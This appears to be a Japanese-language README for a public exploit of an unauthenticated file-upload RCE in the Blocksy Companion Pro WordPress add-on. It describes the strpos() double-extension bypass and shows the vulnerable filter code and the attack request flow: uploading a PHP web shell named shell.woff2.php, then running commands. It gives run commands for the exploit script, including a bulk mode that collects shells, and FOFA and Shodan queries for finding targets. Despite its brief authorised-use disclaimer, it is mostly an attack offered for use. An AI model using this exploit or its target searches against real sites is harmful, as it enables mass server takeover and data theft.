
CVE-2026-58480 / CVE-2026-15158 — Blocksy Companion Pro < 2.1.47 における未認証RCE(30万以上のインストール数)。二重拡張子バイパスによる認証前の任意ファイルアップロード。
CVE-2026-58480 (別名 CVE-2026-15158 としても追跡) は、Blocksy Companion Pro < 2.1.47 (Blocksy WordPress テーマのプレミアムアドオン、アクティブインストール数 300,000以上) における重大 (CVSS 9.8) な未認証の任意ファイルアップロード脆弱性です。
Advanced Reviews 機能 (WooCommerce Extra の一部) の save_attachments AJAX ハンドラーは、認証なしでファイルアップロードを受け付けます。Custom Fonts 拡張機能は、実際のファイル拡張子ではなく strpos() による .woff2 / .ttf の部分文字列チェックでアップロードを検証します。攻撃者は shell.woff2.php のような二重拡張子のファイル名でこれを回避します。.woff2 が部分文字列チェックに一致し、.php がサーバー上で実行されます。
| バージョン | ステータス |
|---|---|
| < 2.1.47 | 脆弱 |
| 2.1.47+ | パッチ適用済み |
要件: プレミアムライセンスに加えて、WooCommerce Extra (Advanced Reviews) と Custom Fonts の両拡張機能が有効であること。無料の
blocksy-companionプラグインには脆弱なコードパスは含まれません。
Custom Fonts 拡張機能は、PATHINFO_EXTENSION による実際のファイル拡張子のチェックではなく、strpos() (部分文字列一致) を使用してファイル名を検証する wp_check_filetype_and_ext フィルターを登録します:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Advanced Reviews の save_attachments 関数は標準の WordPress アップロード処理を呼び出し、このフィルターを呼び出します。shell.woff2.php という名前のファイルは、.woff2 が部分文字列として存在するため通過します。フィルターはそれが最終拡張子であることを検証しません。
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| ファイル (Trac) | 行 | 目的 |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | strpos() バリデーションフィルター |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 | ハンドラー |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_ext フィルターこのエクスプロイトは、教育および許可されたセキュリティ研究のみを目的として提供されています。所有者の明示的な許可なしにシステムに対して使用しないでください。
save_attachments